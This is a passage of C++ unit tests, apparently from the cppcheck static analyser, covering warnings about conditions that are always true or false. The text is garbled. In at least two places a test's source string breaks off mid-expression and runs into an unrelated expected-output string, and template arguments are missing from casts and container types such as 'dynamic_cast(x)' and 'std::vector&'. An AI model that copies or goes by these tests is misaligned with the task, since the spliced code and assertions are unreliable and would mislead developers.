a;\\n\"\n \" int b = 0;\\n\"\n \" int ret;\\n\"\n \" \\n\"\n \" a = rand();\\n\"\n \" while (((0 < a) && (a < 2)) && ((8 < a) && (a < 10))) \\n\"\n \" {\\n\"\n \" b += a;\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \" ret = b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:27] -> [test.cpp:8:40]: (style) Condition '8 [test.cpp:2:30]: (style) Return value 'x==0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #6898 (Token::expressionString)\n \" int x = 0;\\n\"\n \" A(x++ == 1);\\n\"\n \" A(x++ == 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Condition 'x++==1' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:9]: (style) Condition 'x++==2' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"bool foo(int bar) {\\n\"\n \" bool ret = false;\\n\"\n \" if (bar == 1)\\n\"\n \" return ret;\\n\" // <- #9326 - FP condition is always false\n \" if (bar == 2)\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.empty()) if(s.size() == 0) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:43] -> [test.cpp:1:59]: (style) Condition 's.size()==0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" if( buf != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Condition 'buf!=0' is always true [knownConditionTrueFalse]\\n\", errout_str()); // #8924\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" if( !buf ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (style) Condition '!buf' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" bool b = buf;\\n\"\n \" if( b ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (style) Condition 'b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" bool b = buf;\\n\"\n \" if( !b ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (style) Condition '!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" int * p = nullptr;\\n\"\n \" if( buf == p ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Condition 'buf==p' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" int buf[42];\\n\"\n \" if( buf || x ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (style) Condition 'buf' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int * p) {\\n\"\n \" int buf[42];\\n\"\n \" if( buf == p ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" int p[42];\\n\"\n \" if( buf == p ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" if( buf == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid FP when condition comes from macro\n check(\"#define NOT !\\n\"\n \"void f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a) { return; }\\n\" // <- this is just here to fool simplifyKnownVariabels\n \" if (NOT x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define M x != 0\\n\"\n \"void f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a) { return; }\\n\" // <- this is just here to fool simplifyKnownVariabels\n \" if (M) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define IF(X) if (X && x())\\n\"\n \"void f() {\\n\"\n \" IF(1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid FP for sizeof condition\n check(\"void f() {\\n\"\n \" if (sizeof(char) != 123) {}\\n\"\n \" if (123 != sizeof(char)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 123;\\n\"\n \" if (sizeof(char) != x) {}\\n\"\n \" if (x != sizeof(char)) {}\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Condition 'sizeof(char)!=x' is always true\\n\"\n \"[test.cpp:4]: (style) Condition 'x!=sizeof(char)' is always true\\n\", \"\", errout_str());\n\n // Don't warn in assertions. Condition is often 'always true' by intention.\n // If platform,defines,etc cause an 'always false' assertion then that is not very dangerous neither\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" assert(x == 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9363 - do not warn about value passed to function\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" if (bar(!b)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // #7783 FP knownConditionTrueFalse on assert(0 && \"message\")\n check(\"void foo(int x) {\\n\"\n \" if (x<0)\\n\"\n \" {\\n\"\n \" assert(0 && \\\"bla\\\");\\n\"\n \" ASSERT(0 && \\\"bla\\\");\\n\"\n \" assert_foo(0 && \\\"bla\\\");\\n\"\n \" ASSERT_FOO(0 && \\\"bla\\\");\\n\"\n \" assert((int)(0==0));\\n\"\n \" assert((int)(0==0) && \\\"bla\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7750 char literals in boolean expressions\n check(\"void f() {\\n\"\n \" if('a'){}\\n\"\n \" if(L'b'){}\\n\"\n \" if(1 && 'c'){}\\n\"\n \" int x = 'd' ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8206 - knownCondition always false\n check(\"void f(int i)\\n\"\n \"{\\n\"\n \" if(i > 4)\\n\"\n \" for( int x = 0; i < 3; ++x){}\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:29]: (style) Condition 'i<3' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // Skip literals\n check(\"void f() { if(true) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(false) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(!true) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(!false) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(0) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(1) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" bool b = false;\\n\"\n \" if (i == 0) b = true;\\n\"\n \" else if (!b && i == 1) {}\\n\"\n \" if (b)\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Condition '!b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f() { return nullptr; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum E { A };\\n\"\n \"bool f() { return A; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" const int x = 0;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(void){return 1/abs(10);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" const int a = 50;\\n\"\n \" const int b = 52;\\n\"\n \" return a+b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Return value 'a+b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" int a = 50;\\n\"\n \" int b = 52;\\n\"\n \" a++;\\n\"\n \" b++;\\n\"\n \" return a+b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool& g();\\n\"\n \"bool f() {\\n\"\n \" bool & b = g();\\n\"\n \" b = false;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" bool b;\\n\"\n \" bool f() {\\n\"\n \" b = false;\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(long maxtime) {\\n\"\n \" if (std::time(0) > maxtime)\\n\"\n \" return std::time(0) > maxtime;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double param) {\\n\"\n \" while(bar()) {\\n\"\n \" if (param<0.)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" if (param<0.)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int i) {\\n\"\n \" if (i==42)\\n\"\n \" {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" if (cond && (42==i))\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 8842 crash\n check(\"class a {\\n\"\n \" int b;\\n\"\n \" c(b);\\n\"\n \" void f() {\\n\"\n \" if (b) return;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* x, const char* t) {\\n\"\n \" if (!(strcmp(x, y) == 0)) { return; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int a[]){ if (a == 0){} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" bool operator<(const S&);\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" S s;\\n\"\n \" bool c = s [test.cpp:3:9]: (style) Condition 'handle' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int f(void *handle) {\\n\"\n \" if (handle == 0) return 0;\\n\"\n \" if (handle) return 1;\\n\"\n \" else return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Condition 'handle' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int f(void *handle) {\\n\"\n \" if (handle != 0) return 0;\\n\"\n \" if (handle) return 1;\\n\"\n \" else return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (warning) Identical condition 'handle!=0', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"int f(void *handle) {\\n\"\n \" if (handle != nullptr) return 0;\\n\"\n \" if (handle) return 1;\\n\"\n \" else return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (warning) Identical condition 'handle!=nullptr', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(void* x, void* y) {\\n\"\n \" if (x == nullptr && y == nullptr)\\n\"\n \" return;\\n\"\n \" if (x == nullptr || y == nullptr)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void* g();\\n\"\n \"void f(void* a, void* b) {\\n\"\n \" while (a) {\\n\"\n \" a = g();\\n\"\n \" if (a == b)\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" if (a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void* g();\\n\"\n \"void f(void* a, void* b) {\\n\"\n \" while (a) {\\n\"\n \" a = g();\\n\"\n \" }\\n\"\n \" if (a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12] -> [test.cpp:6:9]: (style) Condition 'a' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int * x, bool b) {\\n\"\n \" if (!x && b) {}\\n\"\n \" else if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const std::string x=\\\"xyz\\\";\\n\"\n \" if(!x.empty()){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (style) Condition '!x.empty()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"std::string g();\\n\"\n \"void f() {\\n\"\n \" const std::string msg = g();\\n\"\n \" if(!msg.empty()){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *array, int size ) {\\n\"\n \" for(int i = 0; i < size; ++i) {\\n\"\n \" if(array == 0)\\n\"\n \" continue;\\n\"\n \" if(array){}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Condition 'array' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int *array, int size ) {\\n\"\n \" for(int i = 0; i < size; ++i) {\\n\"\n \" if(array == 0)\\n\"\n \" continue;\\n\"\n \" else if(array){}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) Condition 'array' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9277\n check(\"int f() {\\n\"\n \" constexpr bool x = true;\\n\"\n \" if constexpr (x)\\n\"\n \" return 0;\\n\"\n \" else\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9954\n check(\"void f() {\\n\"\n \" const size_t a(8 * sizeof(short));\\n\"\n \" const size_t b(8 * sizeof(int));\\n\"\n \" if constexpr (a == 16 && b == 16) {}\\n\"\n \" else if constexpr (a == 16 && b == 32) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9319\n check(\"struct S {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"void g(S s, bool& x);\\n\"\n \"void f() {\\n\"\n \" bool x = false;\\n\"\n \" g({0, 1}, x);\\n\"\n \" if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9318\n check(\"class A {};\\n\"\n \"class B : public A {};\\n\"\n \"void f(A* x) {\\n\"\n \" if (!x)\\n\"\n \" return;\\n\"\n \" auto b = dynamic_cast(x);\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" auto x = getX();\\n\"\n \" if (x == nullptr)\\n\"\n \" return 1;\\n\"\n \" auto y = dynamic_cast(x)\\n\"\n \" if (y == nullptr)\\n\"\n \" return 2;\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // handleKnownValuesInLoop\n check(\"bool g();\\n\"\n \"void f(bool x) {\\n\"\n \" if (x) while(x) x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // isLikelyStream\n check(\"void f(std::istringstream& iss) {\\n\"\n \" std::string x;\\n\"\n \" while (iss) {\\n\"\n \" iss >> x;\\n\"\n \" if (!iss) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9332\n check(\"struct A { void* g(); };\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" void* b = a.g();\\n\"\n \" if (!b) return;\\n\"\n \" void* c = a.g();\\n\"\n \" if (!c) return;\\n\"\n \" bool compare = c == b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9361\n check(\"void f(char c) {\\n\"\n \" if (c == '.') {}\\n\"\n \" else if (isdigit(c) != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9351\n check(\"int f(int x) {\\n\"\n \" const bool b = x < 42;\\n\"\n \" if(b) return b?0:-1;\\n\"\n \" return 42;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:3:18]: (style) Condition 'b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9362\n check(\"uint8_t g();\\n\"\n \"void f() {\\n\"\n \" const uint8_t v = g();\\n\"\n \" if((v != 0x00)) {\\n\"\n \" if( (v & 0x01) == 0x00) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9367\n check(\"void f(long x) {\\n\"\n \" if (x <= 0L)\\n\"\n \" return;\\n\"\n \" if (x % 360L == 0)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a, int b) {\\n\"\n \" static const int x = 10;\\n\"\n \" return x == 1 ? a : b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const bool x = false;\\n\"\n \"void f() {\\n\"\n \" if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const bool x = false;\\n\"\n \"void f() {\\n\"\n \" if (!x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9709\n check(\"void f(int a) {\\n\"\n \" bool ok = false;\\n\"\n \" const char * r = nullptr;\\n\"\n \" do_something(&r);\\n\"\n \" if (r != nullptr)\\n\"\n \" ok = a != 0;\\n\"\n \" if (ok) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9816\n check(\"bool g();\\n\"\n \"void f() {\\n\"\n \" bool b = false;\\n\"\n \" do {\\n\"\n \" do {\\n\"\n \" if (g())\\n\"\n \" break;\\n\"\n \" b = true;\\n\"\n \" } while(false);\\n\"\n \" } while(!b);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9865\n check(\"void f(const std::string &s) {\\n\"\n \" for (std::string::const_iterator it = s.begin(); it != s.end(); ++it) {\\n\"\n \" const unsigned char c = static_cast(*it);\\n\"\n \" if (c == '0') {}\\n\"\n \" else if ((c == 'a' || c == 'A')\\n\"\n \" || (c == 'b' || c == 'B')) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9711\n check(\"int main(int argc, char* argv[]) {\\n\"\n \" int foo = 0;\\n\"\n \" struct option options[] = {\\n\"\n \" {\\\"foo\\\", no_argument, &foo, \\'f\\'},\\n\"\n \" {NULL, 0, NULL, 0},\\n\"\n \" };\\n\"\n \" getopt_long(argc, argv, \\\"f\\\", options, NULL);\\n\"\n \" if (foo) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: if (!v) is a known condition as well\n check(\"struct a {\\n\"\n \" int *b();\\n\"\n \"};\\n\"\n \"bool g(a c, a* d) {\\n\"\n \" a *v, *e = v = &c;\\n\"\n \" if (!v)\\n\"\n \" return true;\\n\"\n \" int *f = v->b();\\n\"\n \" if (f)\\n\"\n \" v = nullptr;\\n\"\n \" if (v == nullptr && e) {}\\n\"\n \" return d;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:23]: (style) Condition 'e' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10037\n check(\"struct a {\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(a*);\\n\"\n \"void f() {\\n\"\n \" struct a b;\\n\"\n \" uint32_t p = (uint32_t) -1;\\n\"\n \" b.p = (void *) &p;\\n\"\n \" int r = g(&b);\\n\"\n \" if (r == 0)\\n\"\n \" if (p != (uint32_t) -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9890\n check(\"int g(int);\\n\"\n \"bool h(int*);\\n\"\n \"int f(int *x) {\\n\"\n \" int y = g(0);\\n\"\n \" if (!y) {\\n\"\n \" if (h(x)) {\\n\"\n \" y = g(1);\\n\"\n \" if (y) {}\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" if (!y) {}\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:11:13]: (style) Condition '!y' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10134\n check(\"bool foo(bool b);\\n\"\n \"bool thud(const std::vector& Arr, const std::wstring& Str) {\\n\"\n \" if (Arr.empty() && Str.empty())\\n\"\n \" return false;\\n\"\n \" bool OldFormat = Arr.empty() && !Str.empty();\\n\"\n \" if (OldFormat)\\n\"\n \" return foo(OldFormat);\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10208\n check(\"bool GetFirst(std::string &first);\\n\"\n \"bool GetNext(std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool GetFirst(std::string &first);\\n\"\n \"bool GetNext(std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name{}; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool GetFirst(std::string &first);\\n\"\n \"bool GetNext(std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name{'a', 'b'}; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool GetFirst(const std::string &first);\\n\"\n \"bool GetNext(const std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (style) Condition 'name.empty()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10278\n check(\"void foo(unsigned int x) {\\n\"\n \" if ((100 - x) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10298\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x == -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10121\n check(\"struct AB {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"struct ABC {\\n\"\n \" AB* ab;\\n\"\n \"};\\n\"\n \"void g(ABC*);\\n\"\n \"int f(struct ABC *abc) {\\n\"\n \" int err = 0;\\n\"\n \" AB *ab = abc->ab;\\n\"\n \" if (ab->a == 123){\\n\"\n \" g(abc);\\n\"\n \" if (ab->a != 123) {\\n\"\n \" err = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return err;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10323\n check(\"void foo(int x) {\\n\"\n \" if(x)\\n\"\n \" if(x == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if(x) {}\\n\"\n \" else\\n\"\n \" if(x == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:4:14]: (style) Condition 'x==1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // do not report both unsignedLessThanZero and knownConditionTrueFalse\n check(\"void foo(unsigned int max) {\\n\"\n \" unsigned int num = max - 1;\\n\"\n \" if (num < 0) {}\\n\" // <- do not report knownConditionTrueFalse\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10297\n check(\"void foo(size_t len, int start) {\\n\"\n \" if (start < 0) {\\n\"\n \" start = len+start;\\n\"\n \" if (start < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10362\n check(\"int tok;\\n\"\n \"void next();\\n\"\n \"void parse_attribute() {\\n\"\n \" if (tok == '(') {\\n\"\n \" int parenthesis = 0;\\n\"\n \" do {\\n\"\n \" if (tok == '(')\\n\"\n \" parenthesis++;\\n\"\n \" else if (tok == ')')\\n\"\n \" parenthesis--;\\n\"\n \" next();\\n\"\n \" } while (parenthesis && tok != -1);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7843\n check(\"void f(int i) {\\n\"\n \" if(abs(i) == -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Condition 'abs(i)==-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #7844\n check(\"void f(int i) {\\n\"\n \" if(i > 0 && abs(i) == i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Condition 'abs(i)==i' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(i < 0 && abs(i) == i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:2:24]: (style) Condition 'abs(i)==i' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(i > -3 && abs(i) == i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9948\n check(\"bool f(bool a, bool b) {\\n\"\n \" return a || ! b || ! a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:2:24]: (style) Return value '!a' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10148\n check(\"void f(int i) {\\n\"\n \" if (i >= 64) {}\\n\"\n \" else if (i >= 32) {\\n\"\n \" i &= 31;\\n\"\n \" if (i == 0) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10548\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" do {} while (i++ == 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10582\n check(\"static void fun(message_t *message) {\\n\"\n \" if (message->length >= 1) {\\n\"\n \" switch (data[0]) {}\\n\"\n \" }\\n\"\n \" uint8_t d0 = message->length > 0 ? data[0] : 0xff;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8266\n check(\"void f(bool b) {\\n\"\n \" if (b)\\n\"\n \" return;\\n\"\n \" if (g(&b) || b)\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9720\n check(\"bool bar(int &);\\n\"\n \"void f(int a, int b) {\\n\"\n \" if (a + b == 3)\\n\"\n \" return;\\n\"\n \" if (bar(a) && (a + b == 3)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10437\n check(\"void f() {\\n\"\n \" Obj* PObj = nullptr;\\n\"\n \" bool b = false;\\n\"\n \" if (GetObj(PObj) && PObj != nullptr)\\n\"\n \" b = true;\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10223\n check(\"static volatile sig_atomic_t is_running;\\n\"\n \"static void handler(int signum) {\\n\"\n \" is_running = 0;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" signal(SIGINT, &handler);\\n\"\n \" is_running = 1;\\n\"\n \" while (is_running) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10659\n check(\"auto func(const std::tuple& t) {\\n\"\n \" auto& [foo, bar] = t;\\n\"\n \" std::cout << foo << bar << std::endl;\\n\"\n \" return foo < bar;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10484\n check(\"void f() {\\n\"\n \" static bool init = true;\\n\"\n \" if (init)\\n\"\n \" init = false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14] -> [test.cpp:3:9]: (style) The statement 'if (init) init=false' is logically equivalent to 'init=false'. [duplicateConditionalAssign]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static bool init(true);\\n\"\n \" if (init)\\n\"\n \" init = false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14] -> [test.cpp:3:9]: (style) The statement 'if (init) init=false' is logically equivalent to 'init=false'. [duplicateConditionalAssign]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static bool init{ true };\\n\"\n \" if (init)\\n\"\n \" init = false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14] -> [test.cpp:3:9]: (style) The statement 'if (init) init=false' is logically equivalent to 'init=false'. [duplicateConditionalAssign]\\n\", errout_str());\n\n // #10248\n check(\"void f() {\\n\"\n \" static int var(1);\\n\"\n \" if (var == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int var{ 1 };\\n\"\n \" if (var == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void 